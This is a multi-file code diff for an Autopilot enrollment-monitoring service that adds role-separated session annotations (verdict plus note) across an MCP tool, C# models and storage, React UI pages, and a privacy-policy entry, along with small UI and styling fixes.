// Tool 18c: annotate_session — real Global Admin only (write).
|
||||
if (strictGa) server.registerTool(
|
||||
'annotate_session',
|
||||
{
|
||||
title: 'Annotate Session',
|
||||
description:
|
||||
'Write the platform team\'s annotation on an enrollment session — a structured verdict about the analysis ' +
|
||||
'plus an optional note. Global Admin only; always writes the platform-internal "globaladmin" lane (never a ' +
|
||||
'tenant\'s own lanes), which tenant users cannot see. Use after debugging a session to label it: verdict ' +
|
||||
'root_cause_confirmed | analysis_wrong | different_problem | inconclusive. The backend stamps the author from ' +
|
||||
'your identity and snapshots the currently-fired rule ids onto the annotation for later rule-quality ' +
|
||||
'evaluation (list_session_annotations). Passing BOTH verdict and note as null clears the annotation. ' +
|
||||
'Re-annotating overwrites the previous verdict/note (first author + creation time are preserved).',
|
||||
inputSchema: {
|
||||
sessionId: SessionIdSchema.describe('Session UUID to annotate.'),
|
||||
tenantId: TenantGuidSchema.optional()
|
||||
.describe('Optional — the session\'s tenant. If omitted, auto-resolved from the session.'),
|
||||
verdict: z.enum(['root_cause_confirmed', 'analysis_wrong', 'different_problem', 'inconclusive']).nullable().optional()
|
||||
.describe('Structured verdict, or null. At least one of verdict/note must be non-null unless clearing.'),
|
||||
note: z.string().max(4096).nullable().optional()
|
||||
.describe('Free-text note (max 4096 chars), or null.'),
|
||||
},
|
||||
annotations: MUTATING,
|
||||
},
|
||||
async (args) => withToolTelemetry('annotate_session', args, async () => {
|
||||
try {
|
||||
const { sessionId, tenantId, verdict, note } = args;
|
||||
const query = tenantId ? `?tenantId=${encodeURIComponent(tenantId)}` : '';
|
||||
const data = await apiFetch(`/api/sessions/${sessionId}/annotations/globaladmin${query}`, {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify({ verdict: verdict ?? null, note: note ?? null }),
|
||||
});
|
||||
return toolResultText(data, MAX_RESULT_SIZE_CHARS.small);
|
||||
} catch (error: unknown) {
|
||||
return toolError('annotate_session', args, error);
|
||||
}
|
||||
})
|
||||
);
|
||||
|
||||
// ── Raw Data Tools ────────────────────────────────────────────────────
|
||||
|
||||
// Tool 18: query_raw_events
|
||||
|
||||
@@ -468,10 +468,13 @@ export function registerSessionTools(server: McpServer, ga: boolean, delegated:
|
||||
const q = buildQuery({ tenantId } as Record<string, string | undefined>);
|
||||
const fetchOpts = { signal: AbortSignal.timeout(90_000) };
|
||||
|
||||
const [sessionData, eventsData, analysisData] = await Promise.all([
|
||||
const [sessionData, eventsData, analysisData, annotationsData] = await Promise.all([
|
||||
apiFetch(`/api/sessions/${sessionId}${q}`, fetchOpts) as Promise<Record<string, unknown>>,
|
||||
apiFetch(`/api/sessions/${sessionId}/events${q}`, fetchOpts) as Promise<{ events?: Array<Record<string, unknown>>; count?: number }>,
|
||||
apiFetch(`/api/sessions/${sessionId}/analysis${q}`, fetchOpts).catch(() => null) as Promise<Record<string, unknown> | null>,
|
||||
// Human annotations (verdict + note per lane). Backend filters the platform-internal
|
||||
// globaladmin lane for non-global callers — pass-through, no re-shaping needed.
|
||||
apiFetch(`/api/sessions/${sessionId}/annotations${q}`, fetchOpts).catch(() => null) as Promise<{ annotations?: Array<Record<string, unknown>> } | null>,
|
||||
]);
|
||||
|
||||
const s = (sessionData.session ?? sessionData) as Record<string, unknown>;
|
||||
@@ -611,10 +614,17 @@ export function registerSessionTools(server: McpServer, ga: boolean, delegated:
|
||||
};
|
||||
}
|
||||
|
||||
// Null when no lanes are annotated (or the read failed) — omitting keeps old output stable.
|
||||
const annotations =
|
||||
annotationsData?.annotations && annotationsData.annotations.length > 0
|
||||
? annotationsData.annotations
|
||||
: null;
|
||||
|
||||
const result = {
|
||||
overview,
|
||||
keyEvents: mappedEvents,
|
||||
analysis,
|
||||
annotations,
|
||||
stats: {
|
||||
totalEvents: allEvents.length,
|
||||
keyEventsTotal: sortedKey.length,
|
||||
|
||||
@@ -1106,6 +1106,16 @@ namespace AutopilotMonitor.Shared
|
||||
// for the watchdog (5min staleness threshold for Running, 60min for Queued).
|
||||
public const string BackupJobs = "BackupJobs";
|
||||
|
||||
// Human-entered per-session verdict + note, role-separated into lanes
|
||||
// (operator / tenantadmin / globaladmin — the globaladmin lane is
|
||||
// platform-internal and filtered out for tenant callers).
|
||||
// - PartitionKey = tenantId
|
||||
// - RowKey = "{sessionId}_{lane}"
|
||||
// One row per session + lane, edited in place. Wiped on tenant offboarding,
|
||||
// cascade-deleted with the session, and in the critical-backup set because
|
||||
// annotations are hand-labeled rule-quality data.
|
||||
public const string SessionAnnotations = "SessionAnnotations";
|
||||
|
||||
/// <summary>
|
||||
/// Returns all table names for initialization
|
||||
/// </summary>
|
||||
@@ -1174,6 +1184,7 @@ namespace AutopilotMonitor.Shared
|
||||
ScriptNameCache,
|
||||
BackupJobs,
|
||||
ConfigurationBackups,
|
||||
SessionAnnotations,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1366,6 +1377,7 @@ namespace AutopilotMonitor.Shared
|
||||
TableNames.PreviewConfig,
|
||||
TableNames.PreviewWhitelist,
|
||||
TableNames.RuleStates,
|
||||
TableNames.SessionAnnotations,
|
||||
TableNames.TenantAdmins,
|
||||
TableNames.TenantConfiguration,
|
||||
TableNames.TenantOffboardingCustomsArchive,
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Shared.DataAccess
|
||||
{
|
||||
/// <summary>
|
||||
/// Storage for <see cref="SessionAnnotation"/> rows. Backed by the dedicated
|
||||
/// <c>SessionAnnotations</c> table (PK = tenantId, RK = <c>{sessionId}_{lane}</c>).
|
||||
/// Rows are wiped on tenant offboarding and cascade-deleted with their session;
|
||||
/// the table is in the critical-backup set because annotations are hand-labeled data.
|
||||
/// </summary>
|
||||
public interface ISessionAnnotationRepository
|
||||
{
|
||||
/// <summary>Returns the annotation for one session + lane, or null.</summary>
|
||||
Task<SessionAnnotation?> GetAsync(string tenantId, string sessionId, string lane);
|
||||
|
||||
/// <summary>Returns all lanes present for one session (0–3 rows).</summary>
|
||||
Task<List<SessionAnnotation>> GetForSessionAsync(string tenantId, string sessionId);
|
||||
|
||||
/// <summary>Creates or replaces the row for the annotation's session + lane.</summary>
|
||||
Task UpsertAsync(SessionAnnotation annotation);
|
||||
|
||||
/// <summary>Deletes the row for one session + lane. Missing row is a no-op.</summary>
|
||||
Task DeleteAsync(string tenantId, string sessionId, string lane);
|
||||
|
||||
/// <summary>
|
||||
/// Global evaluation query (cross-tenant filtered table scan; annotation volume is
|
||||
/// human-entered and small). All filters optional. <paramref name="ruleId"/> is
|
||||
/// matched client-side against <see cref="SessionAnnotation.RuleIds"/>, so this
|
||||
/// method back-fills short pages by looping the Azure continuation until
|
||||
/// <paramref name="pageSize"/> matches accumulate or the scan is exhausted
|
||||
/// (bounded round-trips) — a filtered-out row never consumes page budget.
|
||||
/// </summary>
|
||||
/// <returns>The page items plus the raw Azure continuation token for the next page (null when done).</returns>
|
||||
/// <param name="excludeGlobalAdminLane">
|
||||
/// True for callers without global scope: adds a server-side <c>Lane ne 'globaladmin'</c>
|
||||
/// clause so the platform-internal lane never consumes page budget (and an explicit
|
||||
/// <paramref name="lane"/>=globaladmin filter simply yields an empty page).
|
||||
/// </param>
|
||||
Task<(List<SessionAnnotation> Items, string? NextRawToken)> QueryPageAsync(
|
||||
string? tenantId,
|
||||
string? lane,
|
||||
string? verdict,
|
||||
string? ruleId,
|
||||
DateTime? dateFrom,
|
||||
DateTime? dateTo,
|
||||
int pageSize,
|
||||
string? continuation,
|
||||
bool excludeGlobalAdminLane = false);
|
||||
}
|
||||
}
|
||||
@@ -49,7 +49,7 @@ namespace AutopilotMonitor.Shared.Models
|
||||
/// a security matter, or a change that needs an administrator's attention. Editable by
|
||||
/// the tenant's own admins under Settings → Tenant → Contact.
|
||||
/// <para>
|
||||
/// Seeded once at onboarding from the Private Preview notification address if one was
|
||||
/// Seeded once at onboarding from the tenant's notification address if one was
|
||||
/// given, and never re-synced afterwards: from that point the value belongs to the
|
||||
/// tenant, and a later edit must not be overwritten by the onboarding source.
|
||||
/// </para>
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace AutopilotMonitor.Shared.Models
|
||||
{
|
||||
/// <summary>
|
||||
/// Human-entered per-session verdict + free-text note, role-separated into lanes
|
||||
/// (one row per session + lane, editable in place). Stored in the
|
||||
/// <c>SessionAnnotations</c> table: PK = tenantId, RK = <c>{sessionId}_{lane}</c>.
|
||||
/// The <c>globaladmin</c> lane is platform-internal and never returned to tenant
|
||||
/// callers. Author fields are stamped server-side from the JWT, never from the body.
|
||||
/// </summary>
|
||||
public class SessionAnnotation
|
||||
{
|
||||
/// <summary>Maximum length of <see cref="Note"/> (matches the feedback comment cap).</summary>
|
||||
public const int MaxNoteLength = 4096;
|
||||
|
||||
public string TenantId { get; set; } = string.Empty;
|
||||
public string SessionId { get; set; } = string.Empty;
|
||||
|
||||
/// <summary>One of <see cref="AnnotationLanes.All"/>.</summary>
|
||||
public string Lane { get; set; } = string.Empty;
|
||||
|
||||
/// <summary>One of <see cref="AnnotationVerdicts.All"/>, or null (note-only annotation).</summary>
|
||||
public string? Verdict { get; set; }
|
||||
|
||||
/// <summary>Free text, ≤ <see cref="MaxNoteLength"/>, or null (verdict-only annotation).</summary>
|
||||
public string? Note { get; set; }
|
||||
|
||||
/// <summary>UPN of the last editor. Server-stamped.</summary>
|
||||
public string AuthorUpn { get; set; } = string.Empty;
|
||||
|
||||
/// <summary>Display name of the last editor. Server-stamped.</summary>
|
||||
public string AuthorDisplayName { get; set; } = string.Empty;
|
||||
|
||||
/// <summary>UPN of the first writer. Immutable across edits.</summary>
|
||||
public string CreatedByUpn { get; set; } = string.Empty;
|
||||
|
||||
public DateTime CreatedAtUtc { get; set; }
|
||||
public DateTime UpdatedAtUtc { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Snapshot of the rule ids that had fired for the session at write time
|
||||
/// (denormalized so rule-quality evaluation needs no join against RuleResults).
|
||||
/// </summary>
|
||||
public List<string> RuleIds { get; set; } = new();
|
||||
}
|
||||
|
||||
/// <summary>Lane discriminators — the RowKey suffix and the write-permission axis.</summary>
|
||||
public static class AnnotationLanes
|
||||
{
|
||||
public const string Operator = "operator";
|
||||
public const string TenantAdmin = "tenantadmin";
|
||||
public const string GlobalAdmin = "globaladmin";
|
||||
|
||||
public static readonly string[] All = { Operator, TenantAdmin, GlobalAdmin };
|
||||
}
|
||||
|
||||
/// <summary>Structured verdict vocabulary. A verdict is always optional.</summary>
|
||||
public static class AnnotationVerdicts
|
||||
{
|
||||
public const string RootCauseConfirmed = "root_cause_confirmed";
|
||||
public const string AnalysisWrong = "analysis_wrong";
|
||||
public const string DifferentProblem = "different_problem";
|
||||
public const string Inconclusive = "inconclusive";
|
||||
|
||||
public static readonly string[] All =
|
||||
{
|
||||
RootCauseConfirmed, AnalysisWrong, DifferentProblem, Inconclusive,
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -19,6 +19,7 @@ interface TenantConfig {
|
||||
lastUpdated?: string;
|
||||
updatedBy?: string;
|
||||
onboardedAt?: string;
|
||||
contactEmail?: string | null;
|
||||
|
||||
// Tenant status
|
||||
disabled?: boolean;
|
||||
@@ -536,6 +537,7 @@ export function SectionTenantConfigReport() {
|
||||
<ConfigRow label="Disabled Reason" value={config.disabledReason} />
|
||||
<ConfigRow label="Disabled Until" value={config.disabledUntil} isDate />
|
||||
<ConfigRow label="Onboarded At" value={config.onboardedAt} isDate />
|
||||
<ConfigRow label="Contact Email" value={config.contactEmail} />
|
||||
<ConfigRow
|
||||
label="Plan Tier"
|
||||
value={`${config.planTier || 'free'}${config.trialExpiresUtc && new Date(config.trialExpiresUtc).getTime() > nowMs ? ` (trial until ${formatDate(config.trialExpiresUtc)})` : ''}`}
|
||||
|
||||
@@ -0,0 +1,205 @@
|
||||
"use client";
|
||||
|
||||
import { useCallback, useEffect, useState } from "react";
|
||||
import Link from "next/link";
|
||||
import { sessionUrl } from "@/lib/routes";
|
||||
import { api } from "@/lib/api";
|
||||
import { API_BASE_URL } from "@/utils/config";
|
||||
import { authenticatedFetch } from "@/lib/authenticatedFetch";
|
||||
import { ProtectedRoute } from "@/components/ProtectedRoute";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import {
|
||||
ANNOTATION_VERDICTS,
|
||||
LANE_LABELS,
|
||||
VERDICT_DESCRIPTIONS,
|
||||
VERDICT_LABELS,
|
||||
VERDICT_PILL_CLASSES,
|
||||
visibleLanes,
|
||||
type AnnotationLane,
|
||||
type AnnotationVerdict,
|
||||
} from "../sessions/components/sessionAnnotationLogic";
|
||||
|
||||
/**
|
||||
* Annotations overview: every annotated session of the tenant in one list, so a judged
|
||||
* session can be found again without remembering which one it was. Server-side filters
|
||||
* (verdict, lane) + nextLink pagination; rows deep-link into the session's annotation
|
||||
* section. The backend excludes the platform-internal globaladmin lane for tenant callers.
|
||||
*/
|
||||
|
||||
interface AnnotationRow {
|
||||
tenantId?: string | null;
|
||||
sessionId: string;
|
||||
lane: string;
|
||||
verdict?: string | null;
|
||||
note?: string | null;
|
||||
authorDisplayName?: string | null;
|
||||
updatedAtUtc?: string | null;
|
||||
ruleIds?: string[] | null;
|
||||
}
|
||||
|
||||
interface AnnotationsListResponse {
|
||||
success: boolean;
|
||||
annotations?: AnnotationRow[] | null;
|
||||
nextLink?: string | null;
|
||||
}
|
||||
|
||||
export default function AnnotationsPage() {
|
||||
const { getAccessToken, user } = useAuth();
|
||||
|
||||
const [rows, setRows] = useState<AnnotationRow[]>([]);
|
||||
const [nextLink, setNextLink] = useState<string | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [loadError, setLoadError] = useState<string | null>(null);
|
||||
const [verdictFilter, setVerdictFilter] = useState("");
|
||||
const [laneFilter, setLaneFilter] = useState("");
|
||||
|
||||
const lanes = visibleLanes(user);
|
||||
|
||||
const fetchPage = useCallback(
|
||||
async (url: string, append: boolean) => {
|
||||
setLoading(true);
|
||||
setLoadError(null);
|
||||
try {
|
||||
const res = await authenticatedFetch(url, getAccessToken);
|
||||
if (!res.ok) throw new Error(`Failed to load annotations: ${res.statusText}`);
|
||||
const json = (await res.json()) as AnnotationsListResponse;
|
||||
setRows((prev) => (append ? [...prev, ...(json.annotations ?? [])] : (json.annotations ?? [])));
|
||||
setNextLink(json.nextLink ?? null);
|
||||
} catch (err) {
|
||||
setLoadError(err instanceof Error ? err.message : "Failed to load annotations");
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
},
|
||||
[getAccessToken]
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
fetchPage(
|
||||
api.annotations.list({
|
||||
verdict: verdictFilter || undefined,
|
||||
lane: laneFilter || undefined,
|
||||
}),
|
||||
false
|
||||
);
|
||||
}, [fetchPage, verdictFilter, laneFilter]);
|
||||
|
||||
return (
|
||||
<ProtectedRoute>
|
||||
<div className="min-h-screen bg-gray-50">
|
||||
<header className="bg-white shadow">
|
||||
<div className="py-6 px-4 sm:px-6 lg:px-8">
|
||||
<h1 className="text-2xl font-normal text-gray-900">Annotations</h1>
|
||||
<p className="mt-1 text-sm text-gray-500">
|
||||
Every session your team has judged — open one to read or update the verdict.
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<main className="py-6 px-4 sm:px-6 lg:px-8">
|
||||
<div className="bg-white shadow rounded-lg p-6">
|
||||
<div className="flex flex-wrap items-center gap-3 mb-4">
|
||||
<select
|
||||
value={verdictFilter}
|
||||
onChange={(e) => setVerdictFilter(e.target.value)}
|
||||
className="border border-gray-300 rounded-md px-3 py-1.5 text-sm text-gray-700 focus:outline-none focus:ring-2 focus:ring-green-500"
|
||||
aria-label="Filter by verdict"
|
||||
>
|
||||
<option value="">All verdicts</option>
|
||||
{ANNOTATION_VERDICTS.map((v) => (
|
||||
<option key={v} value={v}>{VERDICT_LABELS[v]}</option>
|
||||
))}
|
||||
</select>
|
||||
<select
|
||||
value={laneFilter}
|
||||
onChange={(e) => setLaneFilter(e.target.value)}
|
||||
className="border border-gray-300 rounded-md px-3 py-1.5 text-sm text-gray-700 focus:outline-none focus:ring-2 focus:ring-green-500"
|
||||
aria-label="Filter by role"
|
||||
>
|
||||
<option value="">All roles</option>
|
||||
{lanes.map((lane) => (
|
||||
<option key={lane} value={lane}>{LANE_LABELS[lane]}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
|
||||
{loadError ? (
|
||||
<p className="text-sm text-red-600">{loadError}</p>
|
||||
) : rows.length === 0 && !loading ? (
|
||||
<p className="text-sm text-gray-400">
|
||||
No annotations yet. Open a session and record a verdict in its{" "}
|
||||
<span className="font-medium">Annotations</span> section — judged sessions
|
||||
show up here.
|
||||
</p>
|
||||
) : (
|
||||
<div className="overflow-x-auto">
|
||||
<table className="min-w-full divide-y divide-gray-200 text-sm">
|
||||
<thead>
|
||||
<tr className="text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
|
||||
<th className="px-3 py-2">Verdict</th>
|
||||
<th className="px-3 py-2">Role</th>
|
||||
<th className="px-3 py-2">Note</th>
|
||||
<th className="px-3 py-2">Author</th>
|
||||
<th className="px-3 py-2">Updated</th>
|
||||
<th className="px-3 py-2"></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="divide-y divide-gray-100">
|
||||
{rows.map((row) => (
|
||||
<tr key={`${row.sessionId}_${row.lane}`} className="hover:bg-gray-50">
|
||||
<td className="px-3 py-2 whitespace-nowrap">
|
||||
{row.verdict != null ? (
|
||||
<span
|
||||
title={VERDICT_DESCRIPTIONS[row.verdict as AnnotationVerdict]}
|
||||
className={`inline-flex px-2 py-0.5 rounded-full text-xs font-medium ${VERDICT_PILL_CLASSES[row.verdict] ?? "bg-gray-100 text-gray-600"}`}
|
||||
>
|
||||
{VERDICT_LABELS[row.verdict as AnnotationVerdict] ?? row.verdict}
|
||||
</span>
|
||||
) : (
|
||||
<span className="text-xs text-gray-400">note only</span>
|
||||
)}
|
||||
</td>
|
||||
<td className="px-3 py-2 whitespace-nowrap text-gray-700">
|
||||
{LANE_LABELS[row.lane as AnnotationLane] ?? row.lane}
|
||||
</td>
|
||||
<td className="px-3 py-2 text-gray-700 max-w-md">
|
||||
<span className="line-clamp-2">{row.note || "—"}</span>
|
||||
</td>
|
||||
<td className="px-3 py-2 whitespace-nowrap text-gray-500">
|
||||
{row.authorDisplayName || "—"}
|
||||
</td>
|
||||
<td className="px-3 py-2 whitespace-nowrap text-gray-500">
|
||||
{row.updatedAtUtc ? new Date(row.updatedAtUtc).toLocaleString() : "—"}
|
||||
</td>
|
||||
<td className="px-3 py-2 whitespace-nowrap">
|
||||
<Link
|
||||
href={sessionUrl(row.sessionId, { hash: "section-annotations" })}
|
||||
className="text-green-700 hover:text-green-800 underline underline-offset-2"
|
||||
>
|
||||
open session
|
||||
</Link>
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="flex items-center gap-3 mt-4">
|
||||
{loading && <span className="text-sm text-gray-400">Loading…</span>}
|
||||
{!loading && nextLink && (
|
||||
<button
|
||||
onClick={() => fetchPage(`${API_BASE_URL}${nextLink}`, true)}
|
||||
className="px-4 py-1.5 text-sm font-medium bg-white border border-gray-300 rounded-md text-gray-700 hover:bg-gray-50"
|
||||
>
|
||||
Load more
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
</ProtectedRoute>
|
||||
);
|
||||
}
|
||||
@@ -58,7 +58,7 @@ export default function GlobalError({
|
||||
} catch {
|
||||
// sessionStorage may be unavailable
|
||||
}
|
||||
window.location.href = "/";
|
||||
window.location.href = new URL("/", window.location.origin).href;
|
||||
}}
|
||||
style={{
|
||||
padding: "0.625rem 1.25rem",
|
||||
|
||||
@@ -149,6 +149,9 @@ input[type="radio"] {
|
||||
}
|
||||
|
||||
/* -- Borders -- */
|
||||
.dark .border-gray-100 {
|
||||
border-color: #1e293b !important;
|
||||
}
|
||||
.dark .border-gray-200 {
|
||||
border-color: #334155 !important;
|
||||
}
|
||||
@@ -654,6 +657,9 @@ html:hover ::-webkit-scrollbar-thumb {
|
||||
.dark .text-orange-700 {
|
||||
color: #fb923c !important; /* orange-400 — apps category badge */
|
||||
}
|
||||
.dark .text-yellow-700 {
|
||||
color: #facc15 !important; /* yellow-400 — Medium severity badges/cards */
|
||||
}
|
||||
.dark .text-orange-600 {
|
||||
color: #f97316 !important; /* orange-500 — High count stat */
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ import { LandingNavbar } from "../../components/landing/LandingNavbar";
|
||||
import { SiteFooter } from "../../components/SiteFooter";
|
||||
import { DOCS_URL } from "@/utils/config";
|
||||
|
||||
const LAST_UPDATED = "6 August 2026";
|
||||
const LAST_UPDATED = "11 August 2026";
|
||||
const DOCS_SECURITY_FAQ = `${DOCS_URL}/trust/security-faq`;
|
||||
const DOCS_DATA_FLOWS = `${DOCS_URL}/trust/data-flows`;
|
||||
|
||||
@@ -76,6 +76,7 @@ export default function PrivacyPage() {
|
||||
<ul className="list-disc list-inside space-y-2 text-gray-700 ml-4">
|
||||
<li>Sign-in identity from Microsoft Entra ID — user principal name, display name, and tenant ID</li>
|
||||
<li>Audit records of administrative actions, including who performed them and when</li>
|
||||
<li>Content you choose to enter about a session — report comments and annotations (a verdict on the analysis plus notes) — stored with your tenant's data and attributed to the author</li>
|
||||
<li>Operational request telemetry used to run and support the service</li>
|
||||
<li>A <strong>contact address</strong> for your tenant, if one is provided</li>
|
||||
</ul>
|
||||
|
||||
@@ -170,9 +170,14 @@ export default function DeviceDetailsCard({ events, latestAgentVersion, session
|
||||
const autopilotProfile = normalizeAutopilotProfile(getEventData<AutopilotProfileData>("autopilot_profile"));
|
||||
// Explicit agent signal (new sessions) OR ProfileAvailable=0 in the cached profile
|
||||
// (also covers sessions recorded before autopilot_profile_missing existed).
|
||||
const autopilotProfileMissingEvent = getEventData("autopilot_profile_missing");
|
||||
const autopilotProfileMissing =
|
||||
getEventData("autopilot_profile_missing") !== null ||
|
||||
autopilotProfileMissingEvent !== null ||
|
||||
(autopilotProfile !== null && `${autopilotProfile.ProfileAvailable}` === "0");
|
||||
// Windows 365 Cloud PCs have no Autopilot profile by design — session flag (covers
|
||||
// historic sessions, sticky-true) OR the event's own isCloudPc marker (newer agents).
|
||||
const profileMissingIsCloudPc =
|
||||
session?.isCloudPc === true || `${autopilotProfileMissingEvent?.isCloudPc}` === "true";
|
||||
const aadJoinStatus = getEventData("aad_join_status");
|
||||
const imeVersion = getEventData<ImeVersionData>("ime_agent_version");
|
||||
const realmJoinInfo = getEventData<RealmJoinInfoData>("realmjoin_detected");
|
||||
@@ -456,7 +461,22 @@ export default function DeviceDetailsCard({ events, latestAgentVersion, session
|
||||
{/* Autopilot Profile */}
|
||||
{autopilotProfile && (
|
||||
<DetailSection title="Autopilot Profile">
|
||||
{autopilotProfileMissing && (
|
||||
{autopilotProfileMissing && profileMissingIsCloudPc && (
|
||||
<div className="my-1 rounded-md border border-blue-200 bg-blue-50 px-2.5 py-2 text-xs text-blue-800">
|
||||
<div className="flex items-start gap-1.5">
|
||||
<svg className="w-3.5 h-3.5 mt-0.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z" />
|
||||
</svg>
|
||||
<span>
|
||||
<span className="font-semibold">No Autopilot profile — expected for this Cloud PC.</span>{" "}
|
||||
Windows 365 Cloud PCs are provisioned by the Windows 365 service and do
|
||||
not use Autopilot deployment profiles. OOBE ran as a standard Entra ID
|
||||
join, which is the normal path for Cloud PCs.
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{autopilotProfileMissing && !profileMissingIsCloudPc && (
|
||||
<div className="my-1 rounded-md border border-amber-200 bg-amber-50 px-2.5 py-2 text-xs text-amber-800">
|
||||
<div className="flex items-start gap-1.5">
|
||||
<svg className="w-3.5 h-3.5 mt-0.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
|
||||
@@ -0,0 +1,321 @@
|
||||
"use client";
|
||||
|
||||
import { useCallback, useEffect, useState } from "react";
|
||||
import { api } from "@/lib/api";
|
||||
import { authenticatedFetch, TokenExpiredError } from "@/lib/authenticatedFetch";
|
||||
import {
|
||||
ANNOTATION_MAX_NOTE_LENGTH,
|
||||
ANNOTATION_VERDICTS,
|
||||
buildPutBody,
|
||||
canWriteLane,
|
||||
hasContent,
|
||||
LANE_LABELS,
|
||||
VERDICT_DESCRIPTIONS,
|
||||
VERDICT_LABELS,
|
||||
VERDICT_PILL_CLASSES,
|
||||
visibleLanes,
|
||||
validateNote,
|
||||
type AnnotationLane,
|
||||
type AnnotationUser,
|
||||
type AnnotationVerdict,
|
||||
type SessionAnnotationDto,
|
||||
} from "./sessionAnnotationLogic";
|
||||
|
||||
/**
|
||||
* Session annotations: per-lane human verdict + note about this enrollment's analysis
|
||||
* (Operator / Tenant Admin / platform team). The structured verdicts feed rule-quality
|
||||
* evaluation (confirmed vs false-positive per rule), so lanes are written by their own
|
||||
* role only — the backend re-gates every save. Read is fail-soft; an error shows the
|
||||
* empty state rather than breaking the page.
|
||||
*/
|
||||
|
||||
interface AnnotationsResponse {
|
||||
success: boolean;
|
||||
annotations?: SessionAnnotationDto[] | null;
|
||||
}
|
||||
|
||||
interface LaneEditState {
|
||||
verdict: string | null;
|
||||
note: string;
|
||||
saving: boolean;
|
||||
/** "saved" | error message | null. Typing clears it. */
|
||||
saveResult: string | null;
|
||||
}
|
||||
|
||||
export default function SessionAnnotationsCard({
|
||||
sessionId,
|
||||
effectiveTenantId,
|
||||
user,
|
||||
isCrossTenantView,
|
||||
getAccessToken,
|
||||
}: {
|
||||
sessionId: string;
|
||||
/** Tenant used for the API calls (resolved session tenant / GA override); undefined = own tenant. */
|
||||
effectiveTenantId?: string;
|
||||
user: AnnotationUser | null | undefined;
|
||||
/** True when the session belongs to a different tenant than the caller's own. */
|
||||
isCrossTenantView: boolean;
|
||||
getAccessToken: () => Promise<string | null>;
|
||||
}) {
|
||||
const [annotations, setAnnotations] = useState<Partial<Record<string, SessionAnnotationDto>>>({});
|
||||
const [loaded, setLoaded] = useState(false);
|
||||
const [edit, setEdit] = useState<Partial<Record<string, LaneEditState>>>({});
|
||||
// Collapsed by default: the verdict comes at the END of a diagnosis — the card must
|
||||
// not take space away from the details/analysis work above it. The header summary
|
||||
// (count + verdict pills) still shows at a glance whether a verdict exists.
|
||||
const [expanded, setExpanded] = useState(false);
|
||||
|
||||
const lanes = visibleLanes(user);
|
||||
|
||||
useEffect(() => {
|
||||
if (!sessionId) return;
|
||||
let cancelled = false;
|
||||
(async () => {
|
||||
try {
|
||||
const response = await authenticatedFetch(
|
||||
api.sessions.annotations(sessionId, effectiveTenantId),
|
||||
getAccessToken
|
||||
);
|
||||
if (!response.ok) return;
|
||||
const json = (await response.json()) as AnnotationsResponse;
|
||||
if (cancelled) return;
|
||||
const byLane: Partial<Record<string, SessionAnnotationDto>> = {};
|
||||
for (const a of json.annotations ?? []) byLane[a.lane] = a;
|
||||
setAnnotations(byLane);
|
||||
const seeded: Partial<Record<string, LaneEditState>> = {};
|
||||
for (const [lane, a] of Object.entries(byLane)) {
|
||||
seeded[lane] = {
|
||||
verdict: a?.verdict ?? null,
|
||||
note: a?.note ?? "",
|
||||
saving: false,
|
||||
saveResult: null,
|
||||
};
|
||||
}
|
||||
setEdit(seeded);
|
||||
} catch {
|
||||
// fail-soft: card shows the empty state
|
||||
} finally {
|
||||
if (!cancelled) setLoaded(true);
|
||||
}
|
||||
})();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [sessionId, effectiveTenantId]);
|
||||
|
||||
const laneEdit = (lane: AnnotationLane): LaneEditState =>
|
||||
edit[lane] ?? { verdict: null, note: "", saving: false, saveResult: null };
|
||||
|
||||
const setLaneEdit = useCallback((lane: AnnotationLane, patch: Partial<LaneEditState>) => {
|
||||
setEdit((prev) => ({
|
||||
...prev,
|
||||
[lane]: { ...(prev[lane] ?? { verdict: null, note: "", saving: false, saveResult: null }), ...patch },
|
||||
}));
|
||||
}, []);
|
||||
|
||||
const handleSave = async (lane: AnnotationLane) => {
|
||||
const state = laneEdit(lane);
|
||||
const noteError = validateNote(state.note);
|
||||
if (noteError) {
|
||||
setLaneEdit(lane, { saveResult: noteError });
|
||||
return;
|
||||
}
|
||||
const { body, isClear } = buildPutBody(state.verdict, state.note);
|
||||
setLaneEdit(lane, { saving: true, saveResult: null });
|
||||
try {
|
||||
const res = await authenticatedFetch(
|
||||
api.sessions.annotation(sessionId, lane, effectiveTenantId),
|
||||
getAccessToken,
|
||||
{
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(body),
|
||||
}
|
||||
);
|
||||
if (!res.ok) throw new Error(`Failed to save annotation: ${res.statusText}`);
|
||||
const json = (await res.json()) as { success: boolean; annotation?: SessionAnnotationDto };
|
||||
setAnnotations((prev) => {
|
||||
const next = { ...prev };
|
||||
if (isClear) delete next[lane];
|
||||
else if (json.annotation) next[lane] = json.annotation;
|
||||
return next;
|
||||
});
|
||||
